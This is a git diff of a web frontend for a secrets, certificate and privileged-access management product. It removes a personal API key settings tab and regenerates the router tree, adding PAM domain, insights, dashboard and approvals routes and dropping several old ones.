diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalTabGroup/PersonalTabGroup.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/PersonalTabGroup/PersonalTabGroup.tsx
index adacefc6c6b..d8987986a76 100644
--- a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalTabGroup/PersonalTabGroup.tsx
+++ b/frontend/src/pages/user/PersonalSettingsPage/components/PersonalTabGroup/PersonalTabGroup.tsx
@@ -3,7 +3,6 @@ import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 
 import { Tab, TabList, TabPanel, Tabs } from "@app/components/v2";
 
-import { PersonalAPIKeyTab } from "../PersonalAPIKeyTab";
 import { PersonalAuthTab } from "../PersonalAuthTab";
 import { PersonalGeneralTab } from "../PersonalGeneralTab";
 
@@ -61,7 +60,6 @@ export const PersonalTabGroup = () => {
               </p>
             </div>
           </div>
-          <PersonalAPIKeyTab />
         </div>
       </TabPanel>
     </Tabs>
diff --git a/frontend/src/routeTree.gen.ts b/frontend/src/routeTree.gen.ts
index eff49eb2748..4668156fc8b 100644
--- a/frontend/src/routeTree.gen.ts
+++ b/frontend/src/routeTree.gen.ts
@@ -15,7 +15,6 @@ import { createFileRoute } from '@tanstack/react-router'
 import { Route as rootRoute } from './pages/root'
 import { Route as middlewaresRestrictLoginSignupImport } from './pages/middlewares/restrict-login-signup'
 import { Route as middlewaresAuthenticateImport } from './pages/middlewares/authenticate'
-import { Route as publicUpgradePathPageRouteImport } from './pages/public/UpgradePathPage/route'
 import { Route as publicShareSecretPageRouteImport } from './pages/public/ShareSecretPage/route'
 import { Route as authCliRedirectPageRouteImport } from './pages/auth/CliRedirectPage/route'
 import { Route as indexImport } from './pages/index'
@@ -41,7 +40,6 @@ import { Route as MfaSessionPageRouteImport } from './pages/MfaSessionPage/route
 import { Route as authSignUpPageRouteImport } from './pages/auth/SignUpPage/route'
 import { Route as authLoginPageRouteImport } from './pages/auth/LoginPage/route'
 import { Route as adminLayoutImport } from './pages/admin/layout'
-import { Route as authProviderSuccessPageRouteImport } from './pages/auth/ProviderSuccessPage/route'
 import { Route as authProviderErrorPageRouteImport } from './pages/auth/ProviderErrorPage/route'
 import { Route as userPersonalSettingsPageRouteImport } from './pages/user/PersonalSettingsPage/route'
 import { Route as adminIntegrationsPageRouteImport } from './pages/admin/IntegrationsPage/route'
@@ -101,6 +99,7 @@ import { Route as projectAppConnectionsPageRouteCertManagerImport } from './page
 import { Route as projectAccessControlPageRouteCertManagerImport } from './pages/project/AccessControlPage/route-cert-manager'
 import { Route as projectAuditLogsPageRouteAiImport } from './pages/project/AuditLogsPage/route-ai'
 import { Route as projectAccessControlPageRouteAiImport } from './pages/project/AccessControlPage/route-ai'
+import { Route as certManagerDashboardPageRouteIndexImport } from './pages/cert-manager/DashboardPage/route-index'
 import { Route as sshSettingsPageRouteImport } from './pages/ssh/SettingsPage/route'
 import { Route as sshSshHostsPageRouteImport } from './pages/ssh/SshHostsPage/route'
 import { Route as sshSshCertsPageRouteImport } from './pages/ssh/SshCertsPage/route'
@@ -108,20 +107,19 @@ import { Route as sshSshCasPageRouteImport } from './pages/ssh/SshCasPage/route'
 import { Route as secretScanningSettingsPageRouteImport } from './pages/secret-scanning/SettingsPage/route'
 import { Route as secretScanningSecretScanningFindingsPageRouteImport } from './pages/secret-scanning/SecretScanningFindingsPage/route'
 import { Route as secretManagerSettingsPageRouteImport } from './pages/secret-manager/SettingsPage/route'
-import { Route as secretManagerSecretRotationPageRouteImport } from './pages/secret-manager/SecretRotationPage/route'
 import { Route as secretManagerOverviewPageRouteImport } from './pages/secret-manager/OverviewPage/route'
+import { Route as secretManagerInsightsPageRouteImport } from './pages/secret-manager/InsightsPage/route'
 import { Route as secretManagerSecretApprovalsPageRouteImport } from './pages/secret-manager/SecretApprovalsPage/route'
 import { Route as secretManagerIPAllowlistPageRouteImport } from './pages/secret-manager/IPAllowlistPage/route'
 import { Route as pamSettingsPageRouteImport } from './pages/pam/SettingsPage/route'
-import { Route as pamApprovalsPageRouteImport } from './pages/pam/ApprovalsPage/route'
 import { Route as pamPamAccountPoliciesPageRouteImport } from './pages/pam/PamAccountPoliciesPage/route'
 import { Route as kmsSettingsPageRouteImport } from './pages/kms/SettingsPage/route'
 import { Route as kmsOverviewPageRouteImport } from './pages/kms/OverviewPage/route'
 import { Route as kmsKmipPageRouteImport } from './pages/kms/KmipPage/route'
 import { Route as certManagerSettingsPageRouteImport } from './pages/cert-manager/SettingsPage/route'
 import { Route as certManagerPoliciesPageRouteImport } from './pages/cert-manager/PoliciesPage/route'
+import { Route as certManagerDashboardPageRouteImport } from './pages/cert-manager/DashboardPage/route'
 import { Route as certManagerCertificateAuthoritiesPageRouteImport } from './pages/cert-manager/CertificateAuthoritiesPage/route'
-import { Route as certManagerApprovalsPageRouteImport } from './pages/cert-manager/ApprovalsPage/route'
 import { Route as certManagerAlertingPageRouteImport } from './pages/cert-manager/AlertingPage/route'
 import { Route as aiSettingsPageRouteImport } from './pages/ai/SettingsPage/route'
 import { Route as aiMCPPageRouteImport } from './pages/ai/MCPPage/route'
@@ -174,12 +172,15 @@ import { Route as secretScanningSecretScanningDataSourcesPageRouteImport } from
 import { Route as secretManagerIntegrationsListPageRouteImport } from './pages/secret-manager/IntegrationsListPage/route'
 import { Route as pamPamSessionsPageRouteImport } from './pages/pam/PamSessionsPage/route'
 import { Route as pamPamResourcesPageRouteImport } from './pages/pam/PamResourcesPage/route'
+import { Route as pamPamDomainsPageRouteImport } from './pages/pam/PamDomainsPage/route'
 import { Route as pamPamDiscoveryPageRouteImport } from './pages/pam/PamDiscoveryPage/route'
+import { Route as pamApprovalsPageRouteImport } from './pages/pam/ApprovalsPage/route'
 import { Route as certManagerPkiSubscribersPageRouteImport } from './pages/cert-manager/PkiSubscribersPage/route'
 import { Route as certManagerIntegrationsListPageRouteImport } from './pages/cert-manager/IntegrationsListPage/route'
 import { Route as certManagerDiscoveryPageRouteImport } from './pages/cert-manager/DiscoveryPage/route'
 import { Route as certManagerCodeSigningPageRouteImport } from './pages/cert-manager/CodeSigningPage/route'
 import { Route as certManagerPkiTemplateListPageRouteImport } from './pages/cert-manager/PkiTemplateListPage/route'
+import { Route as certManagerApprovalsPageRouteImport } from './pages/cert-manager/ApprovalsPage/route'
 import { Route as secretScanningSecretScanningDataSourceByIdPageRouteImport } from './pages/secret-scanning/SecretScanningDataSourceByIdPage/route'
 import { Route as secretManagerIntegrationsWindmillConfigurePageRouteImport } from './pages/secret-manager/integrations/WindmillConfigurePage/route'
 import { Route as secretManagerIntegrationsWindmillAuthorizePageRouteImport } from './pages/secret-manager/integrations/WindmillAuthorizePage/route'
@@ -261,9 +262,11 @@ import { Route as secretManagerIntegrationsAzureKeyVaultOauthCallbackPageRouteIm
 import { Route as secretManagerIntegrationsAzureAppConfigurationOauthCallbackPageRouteImport } from './pages/secret-manager/integrations/AzureAppConfigurationOauthCallbackPage/route'
 import { Route as secretManagerCommitsPageRouteImport } from './pages/secret-manager/CommitsPage/route'
 import { Route as pamPamResourceByIDPageRouteImport } from './pages/pam/PamResourceByIDPage/route'
+import { Route as pamPamDomainByIDPageRouteImport } from './pages/pam/PamDomainByIDPage/route'
 import { Route as secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteImport } from './pages/secret-manager/CommitDetailsPage/components/RollbackPreviewTab/route'
 import { Route as secretManagerCommitDetailsPageRouteImport } from './pages/secret-manager/CommitDetailsPage/route'
 import { Route as pamPamAccountByIDPageRouteImport } from './pages/pam/PamAccountByIDPage/route'
+import { Route as pamPamDomainAccountByIDPageRouteImport } from './pages/pam/PamDomainAccountByIDPage/route'
 
 // Create Virtual Routes
 
@@ -346,10 +349,18 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources',
   )()
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsImport =
+  createFileRoute(
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains',
+  )()
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryImport =
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery',
   )()
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsImport =
+  createFileRoute(
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals',
+  )()
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutSubscribersImport =
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers',
@@ -370,6 +381,10 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManager
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates',
   )()
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsImport =
+  createFileRoute(
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals',
+  )()
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdImport =
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId',
@@ -378,6 +393,10 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId',
   )()
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdImport =
+  createFileRoute(
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId',
+  )()
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdCommitIdImport =
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId',
@@ -386,6 +405,10 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
   createFileRoute(
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId',
   )()
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdImport =
+  createFileRoute(
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId',
+  )()
 
 // Create/Update Routes
 
@@ -400,14 +423,6 @@ const middlewaresAuthenticateRoute = middlewaresAuthenticateImport.update({
   getParentRoute: () => rootRoute,
 } as any)
 
-const publicUpgradePathPageRouteRoute = publicUpgradePathPageRouteImport.update(
-  {
-    id: '/upgrade-path',
-    path: '/upgrade-path',
-    getParentRoute: () => rootRoute,
-  } as any,
-)
-
 const publicShareSecretPageRouteRoute = publicShareSecretPageRouteImport.update(
   {
     id: '/share-secret',
@@ -601,13 +616,6 @@ const AuthenticateInjectOrgDetailsOrgLayoutIntegrationsRoute =
     getParentRoute: () => organizationLayoutRoute,
   } as any)
 
-const authProviderSuccessPageRouteRoute =
-  authProviderSuccessPageRouteImport.update({
-    id: '/provider/success',
-    path: '/provider/success',
-    getParentRoute: () => RestrictLoginSignupLoginRoute,
-  } as any)
-
 const authProviderErrorPageRouteRoute = authProviderErrorPageRouteImport.update(
   {
     id: '/provider/error',
@@ -1119,6 +1127,15 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
     } as any,
   )
 
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsImport.update(
+    {
+      id: '/domains',
+      path: '/domains',
+      getParentRoute: () => pamLayoutRoute,
+    } as any,
+  )
+
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRoute =
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryImport.update(
     {
@@ -1135,6 +1152,15 @@ const projectAuditLogsPageRoutePamRoute =
     getParentRoute: () => pamLayoutRoute,
   } as any)
 
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsImport.update(
+    {
+      id: '/approvals',
+      path: '/approvals',
+      getParentRoute: () => pamLayoutRoute,
+    } as any,
+  )
+
 const projectAccessControlPageRoutePamRoute =
   projectAccessControlPageRoutePamImport.update({
     id: '/access-management',
@@ -1208,6 +1234,15 @@ const projectAuditLogsPageRouteCertManagerRoute =
     getParentRoute: () => certManagerLayoutRoute,
   } as any)
 
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsImport.update(
+    {
+      id: '/approvals',
+      path: '/approvals',
+      getParentRoute: () => certManagerLayoutRoute,
+    } as any,
+  )
+
 const projectAppConnectionsPageRouteCertManagerRoute =
   projectAppConnectionsPageRouteCertManagerImport.update({
     id: '/app-connections',
@@ -1236,6 +1271,13 @@ const projectAccessControlPageRouteAiRoute =
     getParentRoute: () => aiLayoutRoute,
   } as any)
 
+const certManagerDashboardPageRouteIndexRoute =
+  certManagerDashboardPageRouteIndexImport.update({
+    id: '/',
+    path: '/',
+    getParentRoute: () => certManagerLayoutRoute,
+  } as any)
+
 const sshSettingsPageRouteRoute = sshSettingsPageRouteImport.update({
   id: '/settings',
   path: '/settings',
@@ -1281,13 +1323,6 @@ const secretManagerSettingsPageRouteRoute =
     getParentRoute: () => secretManagerLayoutRoute,
   } as any)
 
-const secretManagerSecretRotationPageRouteRoute =
-  secretManagerSecretRotationPageRouteImport.update({
-    id: '/secret-rotation',
-    path: '/secret-rotation',
-    getParentRoute: () => secretManagerLayoutRoute,
-  } as any)
-
 const secretManagerOverviewPageRouteRoute =
   secretManagerOverviewPageRouteImport.update({
     id: '/overview',
@@ -1295,6 +1330,13 @@ const secretManagerOverviewPageRouteRoute =
     getParentRoute: () => secretManagerLayoutRoute,
   } as any)
 
+const secretManagerInsightsPageRouteRoute =
+  secretManagerInsightsPageRouteImport.update({
+    id: '/insights',
+    path: '/insights',
+    getParentRoute: () => secretManagerLayoutRoute,
+  } as any)
+
 const secretManagerSecretApprovalsPageRouteRoute =
   secretManagerSecretApprovalsPageRouteImport.update({
     id: '/approval',
@@ -1315,12 +1357,6 @@ const pamSettingsPageRouteRoute = pamSettingsPageRouteImport.update({
   getParentRoute: () => pamLayoutRoute,
 } as any)
 
-const pamApprovalsPageRouteRoute = pamApprovalsPageRouteImport.update({
-  id: '/approvals',
-  path: '/approvals',
-  getParentRoute: () => pamLayoutRoute,
-} as any)
-
 const pamPamAccountPoliciesPageRouteRoute =
   pamPamAccountPoliciesPageRouteImport.update({
     id: '/account-policies',
@@ -1360,6 +1396,13 @@ const certManagerPoliciesPageRouteRoute =
     getParentRoute: () => certManagerLayoutRoute,
   } as any)
 
+const certManagerDashboardPageRouteRoute =
+  certManagerDashboardPageRouteImport.update({
+    id: '/overview',
+    path: '/overview',
+    getParentRoute: () => certManagerLayoutRoute,
+  } as any)
+
 const certManagerCertificateAuthoritiesPageRouteRoute =
   certManagerCertificateAuthoritiesPageRouteImport.update({
     id: '/certificate-authorities',
@@ -1367,13 +1410,6 @@ const certManagerCertificateAuthoritiesPageRouteRoute =
     getParentRoute: () => certManagerLayoutRoute,
   } as any)
 
-const certManagerApprovalsPageRouteRoute =
-  certManagerApprovalsPageRouteImport.update({
-    id: '/approvals',
-    path: '/approvals',
-    getParentRoute: () => certManagerLayoutRoute,
-  } as any)
-
 const certManagerAlertingPageRouteRoute =
   certManagerAlertingPageRouteImport.update({
     id: '/alerting',
@@ -1642,9 +1678,10 @@ const pamPamSessionsByIDPageRouteRoute =
 
 const pamApprovalRequestDetailPageRouteRoute =
   pamApprovalRequestDetailPageRouteImport.update({
-    id: '/approval-requests/$approvalRequestId',
-    path: '/approval-requests/$approvalRequestId',
-    getParentRoute: () => pamLayoutRoute,
+    id: '/$approvalRequestId',
+    path: '/$approvalRequestId',
+    getParentRoute: () =>
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute,
   } as any)
 
 const certManagerPkiSubscriberDetailsByIDPageRouteRoute =
@@ -1695,9 +1732,10 @@ const certManagerCertAuthDetailsByIDPageRouteRoute =
 
 const certManagerApprovalRequestDetailPageRouteRoute =
   certManagerApprovalRequestDetailPageRouteImport.update({
-    id: '/approval-requests/$approvalRequestId',
-    path: '/approval-requests/$approvalRequestId',
-    getParentRoute: () => certManagerLayoutRoute,
+    id: '/$approvalRequestId',
+    path: '/$approvalRequestId',
+    getParentRoute: () =>
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute,
   } as any)
 
 const aiMCPServerDetailPageRouteRoute = aiMCPServerDetailPageRouteImport.update(
@@ -1745,6 +1783,13 @@ const pamPamResourcesPageRouteRoute = pamPamResourcesPageRouteImport.update({
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesRoute,
 } as any)
 
+const pamPamDomainsPageRouteRoute = pamPamDomainsPageRouteImport.update({
+  id: '/',
+  path: '/',
+  getParentRoute: () =>
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute,
+} as any)
+
 const pamPamDiscoveryPageRouteRoute = pamPamDiscoveryPageRouteImport.update({
   id: '/',
   path: '/',
@@ -1752,6 +1797,13 @@ const pamPamDiscoveryPageRouteRoute = pamPamDiscoveryPageRouteImport.update({
     AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDiscoveryRoute,
 } as any)
 
+const pamApprovalsPageRouteRoute = pamApprovalsPageRouteImport.update({
+  id: '/',
+  path: '/',
+  getParentRoute: () =>
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutApprovalsRoute,
+} as any)
+
 const certManagerPkiSubscribersPageRouteRoute =
   certManagerPkiSubscribersPageRouteImport.update({
     id: '/',
@@ -1792,6 +1844,14 @@ const certManagerPkiTemplateListPageRouteRoute =
       AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutCertificateTemplatesRoute,
   } as any)
 
+const certManagerApprovalsPageRouteRoute =
+  certManagerApprovalsPageRouteImport.update({
+    id: '/',
+    path: '/',
+    getParentRoute: () =>
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsCertManagerProjectIdCertManagerLayoutApprovalsRoute,
+  } as any)
+
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdRoute =
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsSecretManagementProjectIdSecretManagerLayoutCommitsEnvironmentFolderIdImport.update(
     {
@@ -1811,6 +1871,16 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
     } as any,
   )
 
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdImport.update(
+    {
+      id: '/$domainType/$domainId',
+      path: '/$domainType/$domainId',
+      getParentRoute: () =>
+        AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsRoute,
+    } as any,
+  )
+
 const secretScanningSecretScanningDataSourceByIdPageRouteRoute =
   secretScanningSecretScanningDataSourceByIdPageRouteImport.update({
     id: '/$type/$dataSourceId',
@@ -2476,6 +2546,13 @@ const pamPamResourceByIDPageRouteRoute =
       AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdRoute,
   } as any)
 
+const pamPamDomainByIDPageRouteRoute = pamPamDomainByIDPageRouteImport.update({
+  id: '/',
+  path: '/',
+  getParentRoute: () =>
+    AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute,
+} as any)
+
 const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdRoute =
   AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutResourcesResourceTypeResourceIdAccountsAccountIdImport.update(
     {
@@ -2486,6 +2563,16 @@ const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectI
     } as any,
   )
 
+const AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRoute =
+  AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdImport.update(
+    {
+      id: '/accounts/$accountId',
+      path: '/accounts/$accountId',
+      getParentRoute: () =>
+        AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdRoute,
+    } as any,
+  )
+
 const secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteRoute =
   secretManagerCommitDetailsPageComponentsRollbackPreviewTabRouteImport.update({
     id: '/restore',
@@ -2511,6 +2598,14 @@ const pamPamAccountByIDPageRouteRoute = pamPamAccountByIDPageRouteImport.update(
   } as any,
 )
 
+const pamPamDomainAccountByIDPageRouteRoute =
+  pamPamDomainAccountByIDPageRouteImport.update({
+    id: '/',
+    path: '/',
+    getParentRoute: () =>
+      AuthenticateInjectOrgDetailsOrgLayoutOrganizationsOrgIdProjectsPamProjectIdPamLayoutDomainsDomainTypeDomainIdAccountsAccountIdRoute,
+  } as any)
+
 // Populate the FileRoutesByPath interface
 
 declare module '@tanstack/react-router' {
@@ -2536,13 +2631,6 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof publicShareSecretPageRouteImport
       parentRoute: typeof rootRoute
     }
-    '/upgrade-path': {
-      id: '/upgrade-path'
-      path: '/upgrade-path'
-      fullPath: '/upgrade-path'
-      preLoaderRoute: typeof publicUpgradePathPageRouteImport
-      parentRoute: typeof rootRoute
-    }
     '/_authenticate': {
       id: '/_authenticate'
       path: ''
@@ -2746,13 +2834,6 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof authProviderErrorPageRouteImport
       parentRoute: typeof RestrictLoginSignupLoginImport
     }
-    '/_restrict-login-signup/login/provider/success': {
-      id: '/_restrict-login-signup/login/provider/success'
-      path: '/provider/success'
-      fullPath: '/login/provider/success'
-      preLoaderRoute: typeof authProviderSuccessPageRouteImport
-      parentRoute: typeof RestrictLoginSignupLoginImport
-    }
     '/_authenticate/_inject-org-details/_org-layout/integrations': {
       id: '/_authenticate/_inject-org-details/_org-layout/integrations'
       path: '/integrations'
@@ -3152,13 +3233,6 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof certManagerAlertingPageRouteImport
       parentRoute: typeof certManagerLayoutImport
     }
-    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals': {
-      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals'
-      path: '/approvals'
-      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/approvals'
-      preLoaderRoute: typeof certManagerApprovalsPageRouteImport
-      parentRoute: typeof certManagerLayoutImport
-    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities'
       path: '/certificate-authorities'
@@ -3166,6 +3240,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof certManagerCertificateAuthoritiesPageRouteImport
       parentRoute: typeof certManagerLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview'
+      path: '/overview'
+      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/overview'
+      preLoaderRoute: typeof certManagerDashboardPageRouteImport
+      parentRoute: typeof certManagerLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies'
       path: '/policies'
@@ -3208,13 +3289,6 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof pamPamAccountPoliciesPageRouteImport
       parentRoute: typeof pamLayoutImport
     }
-    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals': {
-      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals'
-      path: '/approvals'
-      fullPath: '/organizations/$orgId/projects/pam/$projectId/approvals'
-      preLoaderRoute: typeof pamApprovalsPageRouteImport
-      parentRoute: typeof pamLayoutImport
-    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings'
       path: '/settings'
@@ -3236,6 +3310,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof secretManagerSecretApprovalsPageRouteImport
       parentRoute: typeof secretManagerLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights'
+      path: '/insights'
+      fullPath: '/organizations/$orgId/projects/secret-management/$projectId/insights'
+      preLoaderRoute: typeof secretManagerInsightsPageRouteImport
+      parentRoute: typeof secretManagerLayoutImport
+    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview'
       path: '/overview'
@@ -3243,13 +3324,6 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof secretManagerOverviewPageRouteImport
       parentRoute: typeof secretManagerLayoutImport
     }
-    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation': {
-      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation'
-      path: '/secret-rotation'
-      fullPath: '/organizations/$orgId/projects/secret-management/$projectId/secret-rotation'
-      preLoaderRoute: typeof secretManagerSecretRotationPageRouteImport
-      parentRoute: typeof secretManagerLayoutImport
-    }
     '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings': {
       id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings'
       path: '/settings'
@@ -3299,6 +3373,13 @@ declare module '@tanstack/react-router' {
       preLoaderRoute: typeof sshSettingsPageRouteImport
       parentRoute: typeof sshLayoutImport
     }
+    '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/': {
+      id: '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/'
+      path: '/'
+      fullPath: '/organizations/$orgId/projects/cert-manager/$projectId/'
+      preLoaderRoute: typeof certManagerDashboardPageRouteIndexImport
